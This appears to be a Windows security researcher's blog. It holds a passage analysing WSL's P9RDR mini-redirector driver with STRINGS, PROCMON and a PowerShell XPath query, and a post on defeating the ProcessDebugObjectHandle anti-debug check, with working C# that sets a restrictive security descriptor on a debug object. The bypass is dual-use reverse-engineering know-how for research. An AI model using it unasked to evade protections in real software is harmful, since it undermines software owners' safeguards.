In the FINDSTR command I just list all drivers which contain the case insensitive string RDBSS and print out the filename only (unless you enjoy terminal beeps). The result of this process is a clear candidate P9RDR. This also likely confirms the use of the P9 protocol, though of course we should never jump the gun on this.

We could throw the driver into a disassembler at this point and start RE, but I don't want to go there just yet. Instead, in the spirit of laziness I'll throw the driver into STRINGS and get out all printable debug string information, of which there's likely to be some. I typically use the SysInternals STRINGS rather than the BINUTILS one, just as I usually always have it installed on any test system and it handles Unicode and ANSI strings with no additional argument. Below is some of the output from the tool:

c:\> strings c:\Windows\system32\drivers\p9rdr.sys
...
\Device\P9Rdr
P9: Invalid share name in P9RDR_ADD_CONNECTION_TARGET_INPUT.
P9: Invalid AF_UNIX path in P9RDR_ADD_CONNECTION_TARGET_INPUT.
P9: Invalid share name in P9RDR_REMOVE_CONNECTION_TARGET_INPUT.
...
\wsl$We can see a few things here, firstly we can see the WSL$ prefix, this is a good indication that we're in the right place. Second we can see a device name which gives us a good indication that there's expected to be communication from user-mode to kernel mode to configure the device. And finally we can see the string "AF_UNIX" which ties in nicely with our expectation that Unix Sockets are being used.

One this which is missing from the STRINGS output is any indication of the Unix socket file name being used. Unix sockets can be used in an "abstract" fashion, however typically you access the socket through a file path on disk. It's most likely that a file is how the driver and communicates with the socket (I don't even know if Windows supports the "abstract" socket names). Therefore if it is indeed using a file it's not a fixed filename. The kernel has support for a socket library so again maybe this would be the place we could go disassembling, but instead we'll just do some dynamic analysis using PROCMON.

In order to open a socket from a file there must be some attempt to call the IO Manager to open it, this in turn would likely be detectable using PROCMON's filter driver. We can therefore make the following assumptions:

• The file open can be detected in PROCMON.
• The socket file will be opened in the context of the first process to open the UNC path.
• The open request will have the P9RDR driver on the call stack.
The first assumption is a general problem with PROCMON. There are ways of opening files, such as inside another filter driver which cannot be detected by PROCMON as it never receives the request. However we'll assume that is can be detected, of course if we don't find it we might have to resort to disassembly or kernel debugging after all.

The second assumption is based on the fact the WSL distribution isn't always running, therefore any Unix socket file would only be opened on demand, and for reasons of laziness is likely to be in the same process that first makes the request. It could push the request to a background thread, but it seems unlikely. By making this assumption we can filter PROCMON to only show open file requests from a known process.

The final assumption is there to filter down all possible open file requests to the ones we care about. As the driver is a mini-redirector the call chain is likely to be IO Manager to MUP to RDBSS to P9RDR to UNIX SOCKET. Therefore we only care about anything which goes through the driver of interest. This assumption is more important if assumption 2 is false as it might mean that we couldn't filter to a specific process, but we'll go with it anyway on the basis that it's useful technique to learn.

Based on the assumptions we can set PROCMON's filters for a specific process (we'll use PowerShell again) and filter for all CreateFile operations. The Windows kernel doesn't specifically differentiate between open and create calls (open is a specific case of create) so PROCMON doesn't either.

What about the call stack? As far as I can tell you can't filter on the call stack directly, instead we'll do something else. But first gather a trace of a PowerShell session where you execute the Get-NtFile command show earlier in this blog post. Now we want to save the trace as an XML file. Why an XML file? First, the XML format is easy to access, unlike the native PML format. However, the real answer is shown in the following screenshot.

The screenshot shows the options for exporting to XML. It allows us to save the call stacks for all trace events. It will even resolve symbols, however as we're only interested in the module on the stack not the name we can select to include the stack trace, but not symbol resolving. With an exported trace we can now filter the calls based using a simple XPath expression. The following is a simple PowerShell script to run the XPath query.

$xml = [xml]$(Get-Content "LogFile.XML")
\$xml.SelectNodes("//event[stack/frame[contains(path, 'p9rdr')]]/Path[text()]")

The script is pretty simple, if you "cast" a text file to an XML object (using [xml]) PowerShell will create an XML DOM Document from the text. With the Document object we can now call SelectNodes with an appropriate XPath. In this case we just want to select all Path of all events which have a stack trace frame containing the P9RDR module. Running this script against the capture results in one hit:

%LOCALAPPDATA%\Packages\DISTRO\LocalState\fsserver

DISTRO is the name of the Store package you installed the distro from, for example Debian is installed into TheDebianProject.DebianGNULinux_76v4gfsz19hv4. With a file name of fsserver it seems pretty clear what the file is for, but just to check lets open the event back in PROCMON and look at the call stack.

I've highlighted areas of interest, at the top there's the calls through the AFUNIX driver, which demonstrates that the file is being opened due a UNIX socket connection being made. At the bottom we can see a list of calls in the P9RDR driver. As symbol resolving is enabled we can use the symbol information to target specific areas of the driver for reverse engineering. Also now we know the path we can put this back into PROCMON as a filter and from that we can confirm that it's the init process which is responsible for setting up the file server.

In conclusion we can at least confirm a few things which we didn't know before.
• The handling of the UNC paths is handled entirely in kernel mode via a mini-redirector. This makes the file system more interesting from a security perspective as it's parsing arbitrary user data in the kernel.
• The file system uses UNIX sockets for communication, this is handled by the kernel driver and the main init process.
• The socket protocol is presumably P9 based on the driver name, however we've not actually confirmed that to be true.
There's of course still things we'd want to know:
• How is the UNC mappings configured? Via the device driver?
• Is the protocol actually P9, if so what information is being passed across?
• How well "fuzzed" are the protocol parsers.
• Does this file system have any other interesting behaviors.
Some of those things will have to wait for another blog post.

# ProcessDebugObjectHandle Anti-Anti-Debug Trick

17 April 2019 at 23:22
During my implementation of NT Debug Object support in NtObjectManager (see a related blog here) I added support to open the debug object for a process by using the ProcessDebugObjectHandle process information class. This immediately struck me as something which could be used for anti-debugging, so I did a few searches and sure enough I was right, it's already documented (for example this link).

With that out of the way I went back to doing whatever it was I should have really been doing. Well not really, instead I considered how you could bypass this anti-debug check. This information was harder to find, and typically you just hook NtQueryInformationProcess and change the return values. I wanted to do something more sneaky, so I looked at various examples to see how the check is done. In pretty much all cases the implementation is:

BOOL IsProcessBeingDebugged() { HANDLE hDebugObject; NTSTATUS status = NtQueryInformationProcess(GetCurrentProcess(), ProcessDebugObjectHandle, hDebugObject, sizeof(hDebugObject), NULL); if (NT_SUCCESS(status) && hDebugObject) { return TRUE; } return FALSE;}

The code checks if the query is successful and then whether a valid debug object handle has been returned, returning TRUE if that's the case. This would indicate the process is being debugged. If the an error occurs or the debug object handle is NULL, then it indicates the process is not being debugged.

To progress I'd now analyse the logic and find the failure conditions for the detection, fortunately the code isn't very big. We want the function to return FALSE even though the debugger is attached, this means we need to either:

• Make the query return an error code even though a debugger is attached, or...
• Let the query succeed but return a NULL handle.
We've reached the limit with what we can do staring at the anti-debug code. We'll dig into the other side, the kernel implementation of the information class. It boils down to a single function:

NTSTATUS DbgkOpenProcessDebugPort(PEPROCESS Process, PHANDLE DebugObject) { if (!Process->DebugPort) return STATUS_PORT_NOT_SET; if (PsTestProtectedProcessIncompatibility(Process, KeGetCurrentProcess())) { return STATUS_PROCESS_IS_PROTECTED; } return ObOpenObjectByPointer(Process->DebugObject, MAXIMUM_ALLOWED, DbgkDebugObjectType, UserMode, DebugObject);
}

There are three failure cases in this code:

1. If there's no debug port attached then return STATUS_PORT_NOT_SET.
2. If the process holding the debug port is at a higher protection level return STATUS_PROCESS_IS_PROTECTED.
3. Finally open a handle to the debug object and return the status code from the open operation.
For our purposes case 1 is a non-starter as it means the process is not being debugged. Case 2 is interesting but as the Process object parameter (which comes from the handle passed in the query) will be the same as KeGetCurrentProcess that'd never fail. We're therefore all in on case 3. It turns out that the debug objects, like many kernel objects are securable resources. We can confirm that by using NtObjectManager by querying for the DebugObject type and checking its SecurityRequired flag.

If SecurityRequired is true then it means the object must have a security descriptor whether it has a name or not. Therefore we can cause the call to ObOpenObjectByPointer to fail by setting a security descriptor which prevents the process using the anti-debug check opening the debug object and therefore returning FALSE from the check.

To test that we need a debugger and a debuggee. As I do my best to avoid writing new C++ code I converted the anti-debug code to C# using my NtApiDotNet library:

using (var result = NtProcess.Current.OpenDebugObject(false)) { if (result.IsSuccess) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[ERROR] We're being Debugged, stahp!"); } else { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("[SUCCESS] Go ahead, we're cool!"); }}

I don't bother to check for a NULL handle as the kernel code indicates that can't happen, either you get an error, or you get a valid handle. Anyway it doesn't need to be robust, ..., for me ;-)

For the debugger, again we can write it in C#:

Win32ProcessConfig config = new Win32ProcessConfig();config.ApplicationName = @"Path\To\Debuggee.exe";config.CommandLine = "debuggee";config.CreationFlags = CreateProcessFlags.DebugProcess; using (var p = Win32Process.CreateProcess(config)){ using (var dbg = p.Process.OpenDebugObject()) { SecurityDescriptor sd = new SecurityDescriptor(""); dbg.SetSecurityDescriptor(sd, SecurityInformation.Dacl); while (true) { var e = dbg.WaitForDebugEvent(); e.Continue(); if (e is ExitProcessDebugEvent) { break; } } }}

This code is pretty simple, we create the debuggee process with the DebugProcess flag. When CreateProcess is called the APIs will create a new debug object and attach it to the new process. We can then open the debug object and set an appropriate security descriptor to block the open call in the debuggee. Finally we can just poll the debug object which resumes the target, looping until completion.

What can we set as the security descriptor? The obvious choice would be to set an empty DACL which blocks all access. This is distinct from a NULL DACL which allows anyone access. We can specify an empty DACL in SDDL format using "D:". If you test with an empty DACL the debuggee can still open the debug object, this is because the kernel specified MAXIMUM_ALLOWED, as the current user is the owner of the object this allows for READ_CONTROL and WRITE_DAC access to be granted. If we're an administrator we can change the owner field (or by using a WontFix bug) however instead we'll just specify the OWNER_RIGHTS SID with no access. This will block all access to the owner. The SDDL for that is "D:(A;;0;;;OW)".

If you put this all together yourself you'll find it works as expected. We've successfully circumvented the anti-debug check. Of course this anti-debug technique is unlikely to be used in isolation, so it's not likely to be of much real use.

The anti-debug author is trying to model one state variable, whether a process is being debugged, by observing the state of something else, the success or failure from opening the debug object port. You might assume that as the anti-debug check is directly interacting with a debug artefact then there's a direct connection between the two states. However as I've shown that's not the case as there's multiple ways the failure case can manifest. The code could be corrected to check explicitly for STATUS_PORT_NOT_SET and only then indicate the process is not being debugged. Of course this behavior is not documented anywhere, and even it was could be subject to change.

The problem with the anti-debug code is not that you can set a security descriptor on the debug object and get it to fail but the code itself does take into accurately take into account the thing its trying to check. This problem demonstrates the fundamental difficulty in writing secure code, specifically:

Any non-trivial program has a state space too large to accurately model in finite time which leads to unexpected or undefined behavior.

Or put another way:

The time constrained programmer writes what works in testing, not what is correct.

While bypassing anti-debug is hardly a major security issue (well unless you write DRM code), the process I followed here is pretty much the same for any of my bugs. I thought it'd be interesting to see my approach to these sorts of problems.
• There are no more articles